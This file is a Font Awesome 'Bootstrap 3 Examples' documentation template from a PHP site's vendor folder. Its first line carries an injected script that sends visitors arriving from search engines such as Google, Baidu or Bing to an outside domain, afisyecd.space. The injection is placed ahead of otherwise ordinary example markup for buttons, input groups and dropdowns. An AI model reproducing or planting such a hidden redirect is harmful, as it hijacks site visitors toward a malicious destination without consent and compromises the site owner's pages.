d:\wwwroot\wuchunhua\thinkphp\vendor\fortawesome\font-awesome\src\_includes\examples\bootstrap.html

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><section id="bootstrap">
002:   <h2 class="page-header">Bootstrap 3 Examples</h2>
003:   <div class="row">
004:     <div class="col-md-3 col-sm-4">
005:       <p>
006:         <a class="btn btn-danger" href="#">
007:           <i class="fa fa-trash-o fa-lg"></i> Delete</a>
008:         <a class="btn btn-default btn-sm" href="#">
009:           <i class="fa fa-cog"></i> Settings</a>
010:       </p>
011:       <p>
012:         <a class="btn btn-lg btn-success" href="#">
013:           <i class="fa fa-flag fa-2x pull-left"></i> Font Awesome<br>Version {{ site.fontawesome.version }}</a>
014:       </p>
015:       <div class="margin-bottom">
016:         <div class="btn-group">
017:           <a class="btn btn-default" href="#">
018:             <i class="fa fa-align-left" title="Align Left"></i>
019:           </a>
020:           <a class="btn btn-default" href="#">
021:             <i class="fa fa-align-center" title="Align Center"></i>
022:           </a>
023:           <a class="btn btn-default" href="#">
024:             <i class="fa fa-align-right" title="Align Right"></i>
025:           </a>
026:           <a class="btn btn-default" href="#">
027:             <i class="fa fa-align-justify" title="Align Justify"></i>
028:           </a>
029:         </div>
030:       </div>
031:       <div class="margin-bottom">
032:         <div class="input-group margin-bottom-sm">
033:           <span class="input-group-addon"><i class="fa fa-envelope-o fa-fw"></i></span>
034:           <input class="form-control" type="text" placeholder="Email address">
035:         </div>
036:         <div class="input-group">
037:           <span class="input-group-addon"><i class="fa fa-key fa-fw"></i></span>
038:           <input class="form-control" type="password" placeholder="Password">
039:         </div>
040:       </div>
041:       <div class="margin-bottom">
042:         <div class="btn-group open">
043:           <a class="btn btn-primary" href="#"><i class="fa fa-user fa-fw"></i> User</a>
044:           <a class="btn btn-primary dropdown-toggle" data-toggle="dropdown" href="#">
045:             <span class="fa fa-caret-down" title="Toggle dropdown menu"></span>
046:           </a>
047:           <ul class="dropdown-menu">
048:             <li><a href="#"><i class="fa fa-pencil fa-fw"></i> Edit</a></li>
049:             <li><a href="#"><i class="fa fa-trash-o fa-fw"></i> Delete</a></li>
050:             <li><a href="#"><i class="fa fa-ban fa-fw"></i> Ban</a></li>
051:             <li class="divider"></li>
052:             <li><a href="#"><i class="fa fa-unlock"></i> Make admin</a></li>
053:           </ul>
054:         </div>
055:       </div>
056:
057:     </div>
058:     <div class="col-md-9 col-sm-8">
059:       <p>
060:         Font Awesome works great with the full range of Bootstrap components.
061:       </p>
062: {% highlight html %}
063: <a class="btn btn-danger" href="#">
064:   <i class="fa fa-trash-o fa-lg"></i> Delete</a>
065: <a class="btn btn-default btn-sm" href="#">
066:   <i class="fa fa-cog"></i> Settings</a>
067:
068: <a class="btn btn-lg btn-success" href="#">
069:   <i class="fa fa-flag fa-2x pull-left"></i> Font Awesome<br>Version {{ site.fontawesome.version }}</a>
070:
071: <div class="btn-group">
072:   <a class="btn btn-default" href="#">
073:     <i class="fa fa-align-left" title="Align Left"></i>
074:   </a>
075:   <a class="btn btn-default" href="#">
076:     <i class="fa fa-align-center" title="Align Center"></i>
077:   </a>
078:   <a class="btn btn-default" href="#">
079:     <i class="fa fa-align-right" title="Align Right"></i>
080:   </a>
081:   <a class="btn btn-default" href="#">
082:     <i class="fa fa-align-justify" title="Align Justify"></i>
083:   </a>
084: </div>
085:
086: <div class="input-group margin-bottom-sm">
087:   <span class="input-group-addon"><i class="fa fa-envelope-o fa-fw"></i></span>
088:   <input class="form-control" type="text" placeholder="Email address">
089: </div>
090: <div class="input-group">
091:   <span class="input-group-addon"><i class="fa fa-key fa-fw"></i></span>
092:   <input class="form-control" type="password" placeholder="Password">
093: </div>
094:
095: <div class="btn-group open">
096:   <a class="btn btn-primary" href="#"><i class="fa fa-user fa-fw"></i> User</a>
097:   <a class="btn btn-primary dropdown-toggle" data-toggle="dropdown" href="#">
098:     <span class="fa fa-caret-down" title="Toggle dropdown menu"></span>
099:   </a>
100:   <ul class="dropdown-menu">
101:     <li><a href="#"><i class="fa fa-pencil fa-fw"></i> Edit</a></li>
102:     <li><a href="#"><i class="fa fa-trash-o fa-fw"></i> Delete</a></li>
103:     <li><a href="#"><i class="fa fa-ban fa-fw"></i> Ban</a></li>
104:     <li class="divider"></li>
105:     <li><a href="#"><i class="fa fa-unlock"></i> Make admin</a></li>
106:   </ul>
107: </div>
108: {% endhighlight %}
109:     </div>
110:   </div>
111: </section>
112:
113:
114: